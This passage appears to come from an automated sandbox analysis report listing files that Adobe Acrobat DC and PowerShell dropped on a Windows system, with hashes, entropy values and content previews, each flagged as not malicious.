Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.303458091209595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJf21rPeUkwRe9:YvXKXF36br0UWZc0vdbG+16Ukee9
MD5:	754C645BCBEDFAF845C63006A7CA10D8
SHA1:	7932970A4421B5E1F5B4707C06C1CF9973FA9E92
SHA-256:	FA836955D8FA95EA432CA2D19499B12DE9654E5388496DA7231CE15BE8C9BF43
SHA-512:	A7343F9CD099FA219814ED1706FAFB20281DD345AF9931BF4391483CFE199987AB4CF5DE64AF2FBC15FE038603B9DE4E6F2D9A2DAB1065F5CD363789A9D39B8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666689129616968
Encrypted:	false
SSDEEP:	24:Yv6XUgUWzvd0amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSqS:YvsUO1yBgkDMUJUAh8cvMqS
MD5:	25243BDB765CC6600E25EBF7B7B355E0
SHA1:	45D835A284C9F8F6F70095B4A36CF8E9A0AB98B5
SHA-256:	99A12D82D10264EAB161E4CCB8D009F8B4B4C0AFCEF487E513FB34D2061FEF13
SHA-512:	B223E48EB98EC9BBE165BFC21340D9EBDB4F8390DDFFAAC994CFF01CEC56957778632B9D3853B9B9BB79D7D858D8D98D5C000FC8458D9DAB78F5C8DC10B1BBC0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.277398844667147
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJfshHHrPeUkwRe9:YvXKXF36br0UWZc0vdbGUUUkee9
MD5:	28A9317FE854A71C74579104C103E6DA
SHA1:	EDC2E5F695C1CD702D0D8F3EE41B008F01EB607B
SHA-256:	572B2C73D964407F2CD39802621DC2DEEAF2565EF58F7A911A46F6AB10C756E1
SHA-512:	00AB42898790E7D916D4A6AD3CAEF77FFB5962847BEBD486F97AC0E82698067FE19DE2BDE8011DA37043AFED1E99B064C834DC5F8B42A542C1F468037B48C900
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.289865522111899
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJTqgFCrPeUkwRe9:YvXKXF36br0UWZc0vdbGTq16Ukee9
MD5:	60EB89B6300B4B7C567AA74C2C67724C
SHA1:	16FA41684E2E429D910EBDC4D4C8E292BF0E0CA9
SHA-256:	6768B184E83477CD2ABB06A4AB2EB37A034036822D19CD5F6ADB7DFBDB771B44
SHA-512:	31162BA13E0A37D84E82E4A7968D1C5781C8F67913C73F7B4F31154CEEC520DC743B8F33A95991C2F7A5DA7331821152E2FEAB5A5BF27517FE8F7F3BDE67C896
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134947686022549
Encrypted:	false
SSDEEP:	24:YDa4zay/TPsGRfxz88F5OGekrGUbp4Gjkj0SieyG2N+2LS8CgPRqcJZ57R9juwOG:YNnhBekS0DGJ++a5PRnbj93
MD5:	63830FD9504E533DB3C28CE551F59D15
SHA1:	D0F66BCFADEC0433CD21FB7830678531C131E741
SHA-256:	D6BA31B9D601EC0E1369944BE3A6B78F618B98272D147D41C8942B664EEE7D6C
SHA-512:	9BF68DB184CC320BA83E1849718692513A5801F39487D597CC6E7F0D089A4324AB61C6A81E58AEAD400C3D2CD4B42A19203E3A6F59018422FE3FDA9788BEFB83
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"df90bd97b4483d0a77861d9e80da444b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736575995000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ec9ae51a9b2d8cd29e9170b82d797b17","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736575995000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4c9d2310a9a4e2e57bdc7b7f0c1835dc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736575995000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c5f44e131773f4a7662cdf4547ed885a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736575995000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e5fa96dd4835697000183babc0931c68","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736575995000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"38cf0be48b06ac90b40f37a1120589b7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1893058839730857
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUpSvR9H9vxFGiDIAEkGVvpZ:lNVmswUUUUUUUUp+FGSItN
MD5:	4C3E050CF45DDD1F59C76EE5D739D491
SHA1:	3B6201DC43A74273DBE025BAE14DDFF4ACE7758A
SHA-256:	5AD9D16FB5DF15ABD60BBD72A69EA7AEF8B00CC5B31B7EDBF88F10028FB0CAE6
SHA-512:	8B6B3BD973B53E519E127C183511AAFB56D71233EC43267D731B94BB6EE21DFD9AF2315293848FA5B8A13E62227C81107F3A60AF02AA10459322831D381BAF09
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6077225357363372
Encrypted:	false
SSDEEP:	48:7M3KUUUUUUUUUUBvR9H9vxFGiDIAEkGVvfqFl2GL7msR:75UUUUUUUUUUlFGSItVKVmsR
MD5:	71B15E2FE74FE83F0097E8EB8BA73701
SHA1:	B519E5D3EECFB4F86DF199C37E10AC986B1C43D2
SHA-256:	A12DAAB5B75FB31443E32C1CC2E7DC5C52A652D811FAE6638DA3B3F5EE4A819B
SHA-512:	E38EF1C1BEB9DF6F87BB9936E169A220895BA8AD9E096E6013995610F6C1B9EA05A0B8FFC6732C5A35F1D24FFE6035B102376DCABA7D68E626B8C067E32983D7
Malicious:	false
Preview:	.... .c.....d.&.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg1chPICdu3BtsS0JWdGrDg6mSWhYyu:6a6TZ44ADE043BtsnJW43US0K
MD5:	2849BE1DB3C65BDFDA41FE7E56616170
SHA1:	E3881A97AD75565D8C0F578DC25C4176D7C59A18
SHA-256:	4509B82DCAE525FCEAAE08AF1C55BB18B7701B623A24AFFA6BED1EDFEC6DCC3B
SHA-512:	02B3DFF2ABC47D88FC41A12E936CDC6766CCCBB328CFA0F9FC5F358D217DCE8FB1D2AC4F93368081A1EEA097F67FC39AD2FAC4A9FB8E9C771D0878B027282867
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSId9587.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4872226941654008
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl87:Qw946cPbiOxDlbYnuRKdH
MD5:	6E3B58CA282F51CEFA79AE8569FA8D55
SHA1:	2C034D8B49289579A273A999B953606788753107
SHA-256:	CD8EF335015A395B2E8BCB1B5E7417AA4F17D0576B69EC3B66389E3C0FE0BE6D
SHA-512:	D3D4A3EAD0322573764BA7E64923E96DD7F688BC138DE3CDEFCCF1D8AB604FD7F0D10A4F446BF4140EDCA3D9769AE37321012B34D61370CD2301C1B9B33E7C6E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.1.3.:.1.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fvx3aq1p.z1e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1o2dt0z.50z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91x1mvd7_ilxk7p_67o.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-13-11-651.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.361403401081548
Encrypted:	false
SSDEEP:	384:eRFdM4RyZVmexfd8W8l2oF7Gek7C2rH1yFrPVJWWAkHvtMLEO38A+z+farVNV37k:5MNjy
MD5:	55B47D7B48EC634AA7D0329B2E47E80B
SHA1:	0D3FC8E25733066A980626C2A7D93F78A1ED1CA0
SHA-256:	A9B6C255CE9D53146CFCDEF5B8EB5A620022992E1CD8A89ECB4A02B35F1ECD7D
SHA-512:	936E0338676AA47FBC360F99F58E708DDFDBC3DBFCFFB2DA267669D5710D8E8381BE2F10CD7E226FC8521C2747F86438BAA10A549ABF103E8B6DCBC7AE68742E
Malicious:	false
Preview:	SessionID=ba80679a-a5eb-4b89-8ffd-769f1e6cc448.1736575991711 Timestamp=2025-01-11T01:13:11:711-0500 ThreadID=7488 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ba80679a-a5eb-4b89-8ffd-769f1e6cc448.1736575991711 Timestamp=2025-01-11T01:13:11:712-0500 ThreadID=7488 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ba80679a-a5eb-4b89-8ffd-769f1e6cc448.1736575991711 Timestamp=2025-01-11T01:13:11:712-0500 ThreadID=7488 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ba80679a-a5eb-4b89-8ffd-769f1e6cc448.1736575991711 Timestamp=2025-01-11T01:13:11:713-0500 ThreadID=7488 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ba80679a-a5eb-4b89-8ffd-769f1e6cc448.1736575991711 Timestamp=2025-01-11T01:13:11:713-0500 ThreadID=7488 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3842712445025995
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rY:U
MD5:	4ACA90E5BDF47A74EA4A8CF6AD857577
SHA1:	F264902CB6E4A4EA413A5D8FA3DB620BC86EDCB0
SHA-256:	A15A2D76925F11E5AD02427A3A56FFF6DCE022407D0C9C8F9791C53EDD88A4AD
SHA-512:	4BD7B87A673E3ED603EF5C65A12A6751D59A84BC71A9603C4CB693376D12D048DB4DBA425A2009AD48ACF85782967723E912C8490A4B65B5C3BF5AD8B037023E
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\43a9798f-98fd-42f4-acd6-b7fb4476cd13.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VxWL07oXGZIeYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:txWLxXGZIeZGh3mlind9i4ufFXpAXkru
MD5:	0F358F16BAE410EEF2BCE346993AAF5B
SHA1:	B516E557DD59FFC4D930C20CB07806273D11F7AA
SHA-256:	CF03A8705A7D38C62146C95792C58B6E26F8320CA23AE8A300FC1A2E399F760E
SHA-512:	05FED8A7FADCB530BAAC129DB012325F13D72C9E17DCA75B7F5CB72660D86F511E60333AE0220C3F39AEBA3583A9D84A9B1A5C1D6021877FF05053832017B107
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\47a0c275-f7e9-4644-a27d-709df52bb703.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
